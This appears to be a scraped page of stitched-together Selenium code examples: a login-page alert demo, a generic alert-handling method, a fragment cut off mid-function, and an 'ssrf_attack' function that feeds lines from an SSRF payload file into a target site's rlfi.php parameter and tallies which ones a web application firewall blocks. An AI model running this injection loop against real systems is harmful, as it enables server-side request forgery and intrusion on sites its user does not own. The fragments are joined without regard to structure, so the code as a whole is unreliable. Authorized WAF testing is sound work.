from selenium.webdriver.support.wait import WebDriverWait
from selenium.webdriver.support import expected_conditions as ec  #this is like ec=expected_conditions
from webdriver_manager.chrome import ChromeDriverManager
import time

driver = webdriver.Chrome(ChromeDriverManager().install())
driver.get('https://mail.rediff.com/cgi-bin/login.cgi')

driver.find_element(By.NAME, 'proceed').click()

wait = WebDriverWait(driver, 10)
alert = wait.until(ec.alert_is_present())
print(alert.text)
alert.accept()
driver.close()
Esempio n. 58
0
    def handle_alert(self,
                     cancel=False,
                     wait=30.0,
                     squash=False,
                     prompt=None,
                     check_present=False):
        """Handles an alert popup.

        Args:
            cancel: Whether or not to cancel the alert.
                Accepts the Alert (False) by default.
            wait: Time to wait for an alert to appear.
                Default 30 seconds, can be set to 0 to disable waiting.
            squash: Whether or not to squash errors during alert handling.
                Default False
            prompt: If the alert is a prompt, specify the keys to type in here
            check_present: Does not squash
                :py:class:`selenium.common.exceptions.NoAlertPresentException`

        Returns:
            ``True`` if the alert was handled, ``False`` if exceptions were
            squashed, ``None`` if there was no alert.

        No exceptions will be raised if ``squash`` is True and ``check_present`` is False.

        Raises:
            :py:class:`wait_for.TimedOutError`: If the alert popup does not appear
            :py:class:`selenium.common.exceptions.NoAlertPresentException`: If no alert is present
                when accepting or dismissing the alert.
        """
        if not self.handles_alerts:
            return None
        # throws timeout exception if not found
        try:
            if wait:
                WebDriverWait(self.selenium, wait).until(
                    expected_conditions.alert_is_present())
            popup = self.get_alert()
            self.logger.info('handling alert: %r', popup.text)
            if prompt is not None:
                self.logger.info('  answering prompt: %r', prompt)
                popup.send_keys(prompt)
            if cancel:
                self.logger.info('  dismissing')
                popup.dismiss()
            else:
                self.logger.info('  accepting')
                popup.accept()
            # Should any problematic "double" alerts appear here, we don't care, just blow'em away.
            self.dismiss_any_alerts()
            return True
        except NoAlertPresentException:
            if check_present:
                raise
            else:
                return None
        except Exception:
            if squash:
                return False
            else:
                raise
Esempio n. 59
0
 def check_buy_success(self):
     try:
         self.check_facture_dispay()
     except TimeoutException:
         self.wait.until(EC.alert_is_present())
def ssrf_attack(driver, target_url):
    """
        Issue with Statistics, it counts only 2 Passed attack while 4 Passed
        Lines of payloads = 32
        Attacks Blocked by WAF:  30
        [+] Total Successful Attacks:  2

        [+] SSRF Injection Attacks
        [+] Server Side Request passed:  ./evil/ssrf-1.txt
        [+] Server Side Request passed:  localtest.me
        [+] Server Side Request passed:  sub1.sub2.sub3.localtest.me
    """
    print(f"\n[+] Running SSRF Injection Attacks")

    payload_path = 'Payloads/SSRF_Payloads.txt'
    machine_ip = Utility.get_ip_address_of_host(target_url)
    lines = Utility.calculate_file_lines(payload_path)
    injection_speed = 2
    blocked_by_waf_counter = 0

    # Getting Payloads and starting to inject into WAF

    driver.get(target_url + f'rlfi.php?language=lang_en.php&action=go')

    with open(payload_path, 'r', encoding='utf-8') as SSRF_payloads:
        for payload in SSRF_payloads:
            driver.get(
                target_url +
                f'rlfi.php?language={payload}&action=go?ip={machine_ip}')

            try:
                WebDriverWait(driver,
                              injection_speed).until(EC.alert_is_present())
                # If Alert: switch_to.alert for switching to alert and accept
                alert_popped = driver.switch_to.alert
                if alert_popped:
                    # print('[+] Server Side Request passed: ', payload)
                    time.sleep(injection_speed)
                    Utility.write_to_log('SSRF', payload)
                    alert_popped.accept()

            except TimeoutException:
                try:
                    # Check if attack blocked by waf
                    if Utility.check_if_element_exists(driver, "xpath",
                                                       "/html/body/center/h1"):
                        if "403 Forbidden" == driver.find_element_by_xpath(
                                "/html/body/center/h1").text:
                            blocked_by_waf_counter += 1
                    else:
                        Utility.write_to_log('SSRF', payload)

                except NoSuchElementException:
                    print("ERROR!")
                    # print('[+] Server Side Request passed: ', payload)

    # Statistics #
    time.sleep(injection_speed)
    print(f"\n[!] ~~~Server Side Request Forgery [SSRF] Results~~~ [!]")
    print(f"[+] Total Successful Attacks:", lines - blocked_by_waf_counter)
    print(f"[+] Attacks Blocked by WAF:", blocked_by_waf_counter)